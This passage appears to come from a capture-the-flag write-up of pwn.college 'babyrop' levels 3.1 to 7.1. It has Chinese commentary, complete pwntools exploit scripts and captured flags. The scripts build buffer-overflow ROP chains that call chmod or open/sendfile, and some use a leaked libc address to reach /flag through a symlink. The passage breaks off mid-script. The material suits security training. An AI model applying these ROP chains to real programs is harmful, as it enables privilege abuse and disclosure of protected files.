context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./babyrop_level3.1&quot;
HOST, PORT = &quot;localhost&quot;, 1337

gdbscript = &quot;&quot;&quot;
c
&quot;&quot;&quot;

padding_to_ret = b&quot;&quot;.ljust(0x58, b&quot;A&quot;)

win_stage_1 = p64(0x4015E3)
bypass_win_stage_1 = p64(0x1)
win_stage_2 = p64(0x40133A)
bypass_win_stage_2 = p64(0x2)
win_stage_3 = p64(0x4016BF)
bypass_win_stage_3 = p64(0x3)
win_stage_4 = p64(0x40141A)
bypass_win_stage_4 = p64(0x4)
win_stage_5 = p64(0x401500)
bypass_win_stage_5 = p64(0x5)


def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    if local:
        global elf

        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug(
                [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
            )
        else:
            return process([elf.path] + (argv or []), env=envp)
    else:
        return remote(HOST, PORT)


def send_payload(target, payload):
    try:
        target.send(payload)
    except Exception as e:
        log.exception(f&quot;An error occurred while sending payload: {e}&quot;)


def construct_payload():
    rop = ROP(elf)

    pop_rdi_ret = rop.find_gadget([&quot;pop rdi&quot;, &quot;ret&quot;]).address

    payload = padding_to_ret

    for i in range(1, 6):
        payload += p64(pop_rdi_ret)
        payload += globals()[f&quot;bypass_win_stage_{i}&quot;]
        payload += globals()[f&quot;win_stage_{i}&quot;]

    return payload


def attack(target, payload):
    try:
        send_payload(target, payload)

        response = target.recvall(timeout=3)

        if b&quot;pwn.college{&quot; in response:
            return True
    except Exception as e:
        log.exception(f&quot;An error occurred while performing attack: {e}&quot;)


def main():
    try:
        target = launch(debug=False)
        payload = construct_payload()

        if attack(target, payload):
            exit()
    except Exception as e:
        log.exception(f&quot;An error occurred in main: {e}&quot;)


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{o7dF6gbwKmwO-Xrdr1WGG5iKIQ-.0lN0MDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Level 4.0&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Leverage a stack leak while crafting a ROP chain to obtain the flag!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;这题就是自由 ROP 自由日了，感觉还是用 &lt;code&gt;chmod&lt;/code&gt; 最简单，问题在于如何传递第一个参数 &lt;code&gt;const char *filename&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;嗯……自己构造 &lt;code&gt;/flag&lt;/code&gt; 或者别的字符串未免也太麻烦了点，我们直接让 IDA 老婆看看程序本身有没有什么现成的好东西是我们可以直接利用的：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.8z6tmzp4ta.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;像这个 &lt;code&gt;ret&lt;/code&gt; 看上去就很~清秀~了，我很喜欢～&lt;/p&gt;
&lt;p&gt;说实话我感觉自己可能跑偏了，据说这题可以自己构造字符串，但是我太笨了没想出来怎么 leak stack……但是，你就说我这个方法是不是更简单吧 LMAO&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;刚打完 Level 7 的我敏锐的注意到了什么……既然 Level 7 是直接输出地址，那么……靠，Level 4 果然是把栈地址直接告诉我们了，但因为我没关注程序输出，so……好吧我本以为有什么神奇的构造字符串方法，那没事了，又结了一桩心头大患……&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;我日，为什么今天都 1.20 了，寒假过的真快，结束前能不能打完 FmtStr 都不好说了……&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from pwn import (
    ELF,
    ROP,
    constants,
    context,
    flat,
    gdb,
    log,
    os,
    process,
    remote,
)

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./babyrop_level4.0&quot;
HOST, PORT = &quot;localhost&quot;, 1337

gdbscript = &quot;&quot;&quot;
b *challenge+396
c
&quot;&quot;&quot;


def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    if local:
        global elf

        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug(
                [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
            )
        else:
            return process([elf.path] + (argv or []), env=envp)
    else:
        return remote(HOST, PORT)


def send_payload(target, payload):
    try:
        target.send(payload)
    except Exception as e:
        log.exception(f&quot;An error occurred while sending payload: {e}&quot;)


def construct_payload():
    rop = ROP(elf)

    padding_to_ret = b&quot;&quot;.ljust(0x48, b&quot;A&quot;)

    filename = next(elf.search(b&quot;ret&quot;))
    mode = 0o4

    pop_rdi_ret = rop.rdi.address
    pop_rsi_ret = rop.rsi.address
    pop_rax_ret = rop.rax.address
    syscall = rop.syscall.address

    payload = padding_to_ret
    payload += flat(
        pop_rdi_ret,
        filename,
        pop_rsi_ret,
        mode,
        pop_rax_ret,
        constants.SYS_chmod,
        syscall,
    )

    return payload


def attack(target, payload):
    try:
        os.system(&quot;ln -s /flag ret&quot;)

        send_payload(target, payload)

        target.recvall(timeout=3)

        try:
            with open(&quot;/flag&quot;, &quot;r&quot;) as file:
                content = file.read()
                log.success(content)

                return True
        except FileNotFoundError:
            log.exception(&quot;The file &apos;/flag&apos; does not exist.&quot;)
        except PermissionError:
            log.failure(&quot;Permission denied to read &apos;/flag&apos;.&quot;)
        except Exception as e:
            log.exception(f&quot;An error occurred while performing attack: {e}&quot;)
    except Exception as e:
        log.exception(f&quot;An error occurred while performing attack: {e}&quot;)


def main():
    try:
        target = launch(debug=False)
        payload = construct_payload()

        if attack(target, payload):
            exit()
    except Exception as e:
        log.exception(f&quot;An error occurred in main: {e}&quot;)


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{EXzWCvmQZIa9w6wrK_nx0PK1w3_.01N0MDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Level 4.1&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Leverage a stack leak while crafting a ROP chain to obtain the flag!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;参见 &lt;a href=&quot;#level-40&quot;&gt;Level 4.0&lt;/a&gt;。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from pwn import (
    ELF,
    ROP,
    constants,
    context,
    flat,
    gdb,
    log,
    os,
    process,
    remote,
)

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./babyrop_level4.1&quot;
HOST, PORT = &quot;localhost&quot;, 1337

gdbscript = &quot;&quot;&quot;
c
&quot;&quot;&quot;


def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    if local:
        global elf

        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug(
                [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
            )
        else:
            return process([elf.path] + (argv or []), env=envp)
    else:
        return remote(HOST, PORT)


def send_payload(target, payload):
    try:
        target.send(payload)
    except Exception as e:
        log.exception(f&quot;An error occurred while sending payload: {e}&quot;)


def construct_payload():
    rop = ROP(elf)

    padding_to_ret = b&quot;&quot;.ljust(0x78, b&quot;A&quot;)

    filename = next(elf.search(b&quot;###&quot;))
    mode = 0o4

    pop_rdi_ret = rop.rdi.address
    pop_rsi_ret = rop.rsi.address
    pop_rax_ret = rop.rax.address
    syscall = rop.syscall.address

    payload = padding_to_ret
    payload += flat(
        pop_rdi_ret,
        filename,
        pop_rsi_ret,
        mode,
        pop_rax_ret,
        constants.SYS_chmod,
        syscall,
    )

    return payload


def attack(target, payload):
    try:
        os.system(&quot;ln -s /flag &apos;###&apos;&quot;)

        send_payload(target, payload)

        target.recvall(timeout=3)

        try:
            with open(&quot;/flag&quot;, &quot;r&quot;) as file:
                content = file.read()
                log.success(content)

                return True
        except FileNotFoundError:
            log.exception(&quot;The file &apos;/flag&apos; does not exist.&quot;)
        except PermissionError:
            log.failure(&quot;Permission denied to read &apos;/flag&apos;.&quot;)
        except Exception as e:
            log.exception(f&quot;An error occurred while performing attack: {e}&quot;)
    except Exception as e:
        log.exception(f&quot;An error occurred while performing attack: {e}&quot;)


def main():
    try:
        target = launch(debug=False)
        payload = construct_payload()

        if attack(target, payload):
            exit()
    except Exception as e:
        log.exception(f&quot;An error occurred in main: {e}&quot;)


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{g2fR-zCK75_60foo4wveIENcvF0.0FO0MDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Level 5.0&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Craft a ROP chain to obtain the flag, now with no stack leak!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;这题才应该用我在 &lt;a href=&quot;#level-40&quot;&gt;Level 4&lt;/a&gt; 用的方法吧，有时间我得好好研究下 Level 4 到底怎么泄漏地址了……&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from pwn import (
    ELF,
    ROP,
    constants,
    context,
    flat,
    gdb,
    log,
    os,
    process,
    remote,
)

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./babyrop_level5.0&quot;
HOST, PORT = &quot;localhost&quot;, 1337

gdbscript = &quot;&quot;&quot;
c
&quot;&quot;&quot;


def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    if local:
        global elf

        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug(
                [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
            )
        else:
            return process([elf.path] + (argv or []), env=envp)
    else:
        return remote(HOST, PORT)


def send_payload(target, payload):
    try:
        target.send(payload)
    except Exception as e:
        log.exception(f&quot;An error occurred while sending payload: {e}&quot;)


def construct_payload():
    rop = ROP(elf)

    padding_to_ret = b&quot;&quot;.ljust(0x48, b&quot;A&quot;)

    filename = next(elf.search(b&quot;GNU&quot;))
    mode = 0o4

    pop_rdi_ret = rop.rdi.address
    pop_rsi_ret = rop.rsi.address
    pop_rax_ret = rop.rax.address
    syscall = rop.syscall.address

    payload = padding_to_ret
    payload += flat(
        pop_rdi_ret,
        filename,
        pop_rsi_ret,
        mode,
        pop_rax_ret,
        constants.SYS_chmod,
        syscall,
    )

    return payload


def attack(target, payload):
    try:
        os.system(&quot;ln -s /flag GNU&quot;)

        send_payload(target, payload)

        target.recvall(timeout=3)

        try:
            with open(&quot;/flag&quot;, &quot;r&quot;) as file:
                content = file.read()
                log.success(content)

                return True
        except FileNotFoundError:
            log.exception(&quot;The file &apos;/flag&apos; does not exist.&quot;)
        except PermissionError:
            log.failure(&quot;Permission denied to read &apos;/flag&apos;.&quot;)
        except Exception as e:
            log.exception(f&quot;An error occurred while performing attack: {e}&quot;)
    except Exception as e:
        log.exception(f&quot;An error occurred while performing attack: {e}&quot;)


def main():
    try:
        target = launch(debug=False)
        payload = construct_payload()

        if attack(target, payload):
            exit()
    except Exception as e:
        log.exception(f&quot;An error occurred in main: {e}&quot;)


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{sAqwz2eKPKj_t1zS9diA-_sbUf0.0VO0MDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Level 5.1&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Craft a ROP chain to obtain the flag, now with no stack leak!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;参见 &lt;a href=&quot;#level-50&quot;&gt;Level 5.0&lt;/a&gt;。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from pwn import (
    ELF,
    ROP,
    constants,
    context,
    flat,
    gdb,
    log,
    os,
    process,
    remote,
)

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./babyrop_level5.1&quot;
HOST, PORT = &quot;localhost&quot;, 1337

gdbscript = &quot;&quot;&quot;
c
&quot;&quot;&quot;


def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    if local:
        global elf

        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug(
                [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
            )
        else:
            return process([elf.path] + (argv or []), env=envp)
    else:
        return remote(HOST, PORT)


def send_payload(target, payload):
    try:
        target.send(payload)
    except Exception as e:
        log.exception(f&quot;An error occurred while sending payload: {e}&quot;)


def construct_payload():
    rop = ROP(elf)

    padding_to_ret = b&quot;&quot;.ljust(0x68, b&quot;A&quot;)

    filename = next(elf.search(b&quot;GNU&quot;))
    mode = 0o4

    pop_rdi_ret = rop.rdi.address
    pop_rsi_ret = rop.rsi.address
    pop_rax_ret = rop.rax.address
    syscall = rop.syscall.address

    payload = padding_to_ret
    payload += flat(
        pop_rdi_ret,
        filename,
        pop_rsi_ret,
        mode,
        pop_rax_ret,
        constants.SYS_chmod,
        syscall,
    )

    return payload


def attack(target, payload):
    try:
        os.system(&quot;ln -s /flag GNU&quot;)

        send_payload(target, payload)

        target.recvall(timeout=3)

        try:
            with open(&quot;/flag&quot;, &quot;r&quot;) as file:
                content = file.read()
                log.success(content)

                return True
        except FileNotFoundError:
            log.exception(&quot;The file &apos;/flag&apos; does not exist.&quot;)
        except PermissionError:
            log.failure(&quot;Permission denied to read &apos;/flag&apos;.&quot;)
        except Exception as e:
            log.exception(f&quot;An error occurred while performing attack: {e}&quot;)
    except Exception as e:
        log.exception(f&quot;An error occurred while performing attack: {e}&quot;)


def main():
    try:
        target = launch(debug=False)
        payload = construct_payload()

        if attack(target, payload):
            exit()
    except Exception as e:
        log.exception(f&quot;An error occurred in main: {e}&quot;)


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{Uer5U7c794jENBtWtFCgDEyLRsm.0FM1MDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Level 6.0&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Craft a ROP chain to obtain the flag, now with no syscall gadget!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;没有 &lt;code&gt;syscall&lt;/code&gt; gadget 了，但是瞧瞧我发现了什么？&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ssize_t __fastcall force_import(const char *a1, int a2)
{
  off_t *v2; // rdx
  size_t v3; // rcx

  open(a1, a2);
  return sendfile((int)a1, a2, v2, v3);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;一次传参直接调用 &lt;code&gt;force_import&lt;/code&gt; 肯定是不太方便的，但是既然内部有 &lt;code&gt;open&lt;/code&gt; 和 &lt;code&gt;sendfile&lt;/code&gt;，那为何不分别调用它们呢？easy peasy!&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from pwn import (
    ELF,
    ROP,
    constants,
    context,
    flat,
    gdb,
    log,
    os,
    process,
    remote,
)

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./babyrop_level6.0&quot;
HOST, PORT = &quot;localhost&quot;, 1337

gdbscript = &quot;&quot;&quot;
b *challenge+288
c
&quot;&quot;&quot;


def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    if local:
        global elf

        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug(
                [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
            )
        else:
            return process([elf.path] + (argv or []), env=envp)
    else:
        return remote(HOST, PORT)


def send_payload(target, payload):
    try:
        target.send(payload)
    except Exception as e:
        log.exception(f&quot;An error occurred while sending payload: {e}&quot;)


def construct_payload():
    rop = ROP(elf)

    padding_to_ret = b&quot;&quot;.ljust(0x58, b&quot;A&quot;)

    # args for open
    filename = next(elf.search(b&quot;GNU&quot;))
    flags = constants.O_RDONLY

    # args for sendfile
    out_fd = 0x1
    in_fd = 0x3
    offset = 0x0
    count = 0x1000

    pop_rdi_ret = rop.rdi.address
    pop_rsi_ret = rop.rsi.address
    pop_rdx_ret = rop.rdx.address
    pop_rcx_ret = rop.rcx.address

    payload = padding_to_ret
    payload += flat(
        pop_rdi_ret,
        filename,
        pop_rsi_ret,
        flags,
        elf.symbols[&quot;open&quot;],
        pop_rdi_ret,
        out_fd,
        pop_rsi_ret,
        in_fd,
        pop_rdx_ret,
        offset,
        pop_rcx_ret,
        count,
        elf.symbols[&quot;sendfile&quot;],
    )

    return payload


def attack(target, payload):
    try:
        os.system(&quot;ln -s /flag GNU&quot;)

        send_payload(target, payload)

        response = target.recvall(timeout=3)

        if b&quot;pwn.college{&quot; in response:
            return True
    except Exception as e:
        log.exception(f&quot;An error occurred while performing attack: {e}&quot;)


def main():
    try:
        target = launch(debug=False)
        payload = construct_payload()

        if attack(target, payload):
            exit()
    except Exception as e:
        log.exception(f&quot;An error occurred in main: {e}&quot;)


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{0u8eS8EM1OTTXbPHdwgRj2FQ4m0.0VM1MDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Level 6.1&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Craft a ROP chain to obtain the flag, now with no syscall gadget!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;参见 &lt;a href=&quot;#level-60&quot;&gt;Level 6.0&lt;/a&gt;。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from pwn import (
    ELF,
    ROP,
    constants,
    context,
    flat,
    gdb,
    log,
    os,
    process,
    remote,
)

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./babyrop_level6.1&quot;
HOST, PORT = &quot;localhost&quot;, 1337

gdbscript = &quot;&quot;&quot;
c
&quot;&quot;&quot;


def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    if local:
        global elf

        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug(
                [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
            )
        else:
            return process([elf.path] + (argv or []), env=envp)
    else:
        return remote(HOST, PORT)


def send_payload(target, payload):
    try:
        target.send(payload)
    except Exception as e:
        log.exception(f&quot;An error occurred while sending payload: {e}&quot;)


def construct_payload():
    rop = ROP(elf)

    padding_to_ret = b&quot;&quot;.ljust(0x28, b&quot;A&quot;)

    # args for open
    filename = next(elf.search(b&quot;GNU&quot;))
    flags = constants.O_RDONLY

    # args for sendfile
    out_fd = 0x1
    in_fd = 0x3
    offset = 0x0
    count = 0x1000

    pop_rdi_ret = rop.rdi.address
    pop_rsi_ret = rop.rsi.address
    pop_rdx_ret = rop.rdx.address
    pop_rcx_ret = rop.rcx.address

    payload = padding_to_ret
    payload += flat(
        pop_rdi_ret,
        filename,
        pop_rsi_ret,
        flags,
        elf.symbols[&quot;open&quot;],
        pop_rdi_ret,
        out_fd,
        pop_rsi_ret,
        in_fd,
        pop_rdx_ret,
        offset,
        pop_rcx_ret,
        count,
        elf.symbols[&quot;sendfile&quot;],
    )

    return payload


def attack(target, payload):
    try:
        os.system(&quot;ln -s /flag GNU&quot;)

        send_payload(target, payload)

        response = target.recvall(timeout=3)

        if b&quot;pwn.college{&quot; in response:
            return True
    except Exception as e:
        log.exception(f&quot;An error occurred while performing attack: {e}&quot;)


def main():
    try:
        target = launch(debug=False)
        payload = construct_payload()

        if attack(target, payload):
            exit()
    except Exception as e:
        log.exception(f&quot;An error occurred in main: {e}&quot;)


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{A-DtWrNucuvlqiQOl-yB1ARFcxt.0lM1MDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Level 7.0&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Utilize a libc leak to ROP with libc!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;利用已经泄漏的 &lt;code&gt;system&lt;/code&gt; 的地址减去 &lt;code&gt;system&lt;/code&gt; 在 &lt;code&gt;libc&lt;/code&gt; 中的偏移得到 &lt;code&gt;libc&lt;/code&gt; 的基地址，然后通过 &lt;code&gt;libc&lt;/code&gt; 基地址加上 &lt;code&gt;chmod&lt;/code&gt; 在 &lt;code&gt;libc&lt;/code&gt; 中的偏移就可以得到 &lt;code&gt;chmod&lt;/code&gt; 的实际地址了。简简单单，都不需要想办法怎么泄漏地址，程序直接通过 &lt;code&gt;dlsym((void *)0xFFFFFFFFFFFFFFFFLL, &quot;system&quot;);&lt;/code&gt; 把地址告诉我们了……&lt;/p&gt;
&lt;p&gt;另外，为了防止有人不知道怎么获取当前程序使用的 &lt;code&gt;libc&lt;/code&gt;，这里简单贴一下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;hacker@return-oriented-programming~level7-0:~$ ldd /challenge/babyrop_level7.0
        linux-vdso.so.1 (0x00007ffd75fe8000)
        libc.so.6 =&amp;gt; /lib/x86_64-linux-gnu/libc.so.6 (0x0000745ac0578000)
        /lib64/ld-linux-x86-64.so.2 (0x0000745ac077b000)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;嗯……如果你不知道我讲的是什么，建议去补习一下 PLT 延迟绑定。推荐看**&lt;em&gt;《程序员的自我修养——链接、装载与库》&lt;/em&gt;&lt;strong&gt;，&lt;/strong&gt;&lt;em&gt;CSAPP&lt;/em&gt;** 也可以看看，反正底层知识有空一定要多学学，非常重要。&lt;/p&gt;
&lt;p&gt;哎不对，难道说 &lt;a href=&quot;#level-40&quot;&gt;Level 4&lt;/a&gt;……&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from pwn import (
    ELF,
    ROP,
    context,
    flat,
    gdb,
    log,
    os,
    process,
    remote,
)

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./babyrop_level7.0&quot;
HOST, PORT = &quot;localhost&quot;, 1337

gdbscript = &quot;&quot;&quot;
b *challenge+380
c
&quot;&quot;&quot;


def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    if local:
        global elf

        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug(
                [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
            )
        else:
            return process([elf.path] + (argv or []), env=envp)
    else:
        return remote(HOST, PORT)


def send_payload(target, payload):
    try:
        target.send(payload)
    except Exception as e:
        log.exception(f&quot;An error occurred while sending payload: {e}&quot;)


def construct_payload(leaked_addr):
    rop = ROP(elf)
    libc = ELF(&quot;/lib/x86_64-linux-gnu/libc.so.6&quot;)

    padding_to_ret = b&quot;&quot;.ljust(0x58, b&quot;A&quot;)

    libc.address = leaked_addr - libc.symbols[&quot;system&quot;]

    filename = next(elf.search(b&quot;GNU&quot;))
    mode = 0o4

    pop_rdi_ret = rop.rdi.address
    pop_rsi_pop_r15_ret = rop.find_gadget([&quot;pop rsi&quot;, &quot;pop r15&quot;, &quot;ret&quot;]).address

    payload = padding_to_ret
    payload += flat(
        pop_rdi_ret,
        filename,
        pop_rsi_pop_r15_ret,
        mode,
        b&quot;&quot;.ljust(0x8, b&quot;A&quot;),
        libc.symbols[&quot;chmod&quot;],
    )

    return payload


def leak(target):
    target.recvuntil(b&apos;&quot;system&quot; in libc is: &apos;)

    return int(target.recv(14), 16)


def attack(target, payload):
    try:
        os.system(&quot;ln -s /flag GNU&quot;)

        send_payload(target, payload)

        target.recvall(timeout=3)

        try:
            with open(&quot;/flag&quot;, &quot;r&quot;) as file:
                content = file.read()
                log.success(content)

                return True
        except FileNotFoundError:
            log.exception(&quot;The file &apos;/flag&apos; does not exist.&quot;)
        except PermissionError:
            log.failure(&quot;Permission denied to read &apos;/flag&apos;.&quot;)
        except Exception as e:
            log.exception(f&quot;An error occurred while performing attack: {e}&quot;)
    except Exception as e:
        log.exception(f&quot;An error occurred while performing attack: {e}&quot;)


def main():
    try:
        target = launch(debug=False)
        payload = construct_payload(leak(target))

        if attack(target, payload):
            exit()
    except Exception as e:
        log.exception(f&quot;An error occurred in main: {e}&quot;)


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{USImSejN9YmHN5CcyKDwtVScMO7.01M1MDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Level 7.1&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Utilize a libc leak to ROP with libc!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;参见 &lt;a href=&quot;#level-70&quot;&gt;Level 7.0&lt;/a&gt;。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from pwn import (
    ELF,
    ROP,
    context,
    flat,
    gdb,
    log,
    os,
    process,
    remote,
)

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./babyrop_level7.1&quot;
HOST, PORT = &quot;localhost&quot;, 1337

gdbscript = &quot;&quot;&quot;
c
&quot;&quot;&quot;


def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    if local:
        global elf

        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug(
                [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
            )
        else:
            return process([elf.path] + (argv or []), env=envp)
    else:
        return remote(HOST, PORT)


def send_payload(target, payload):
    try:
        target.send(payload)
    except Exception as e:
        log.exception(f&quot;An error occurred while sending payload: {e}&quot;)


def construct_payload(leaked_addr):
    rop = ROP(elf)
    libc = ELF(&quot;/lib/x86_64-linux-gnu/libc.so.6&quot;)

    padding_to_ret = b&quot;&quot;.ljust(0x48, b&quot;A&quot;)

    libc.address = leaked_addr - libc.symbols[&quot;system&quot;]

    filename = next(elf.search(b&quot;GNU&quot;))
    mode = 0o4

    pop_rdi_ret = rop.rdi.address
    pop_rsi_pop_r15_ret = rop.find_gadget([&quot;pop rsi&quot;, &quot;pop r15&quot;, &quot;ret&quot;]).address

    payload = padding_to_ret
    payload += flat(
        pop_rdi_ret,
        filename,
        pop_rsi_pop_r15_ret,
        mode,
        b&quot;&quot;.ljust(0x8, b&quot;A&quot;),
        libc.symbols[&quot;chmod&quot;],
    )

    return payload


def leak(target):
    target.recvuntil(b&apos;&quot;system&quot; in libc is: &apos;)

    return int(target.recv(14), 16)


def attack(target, payload):
    try:
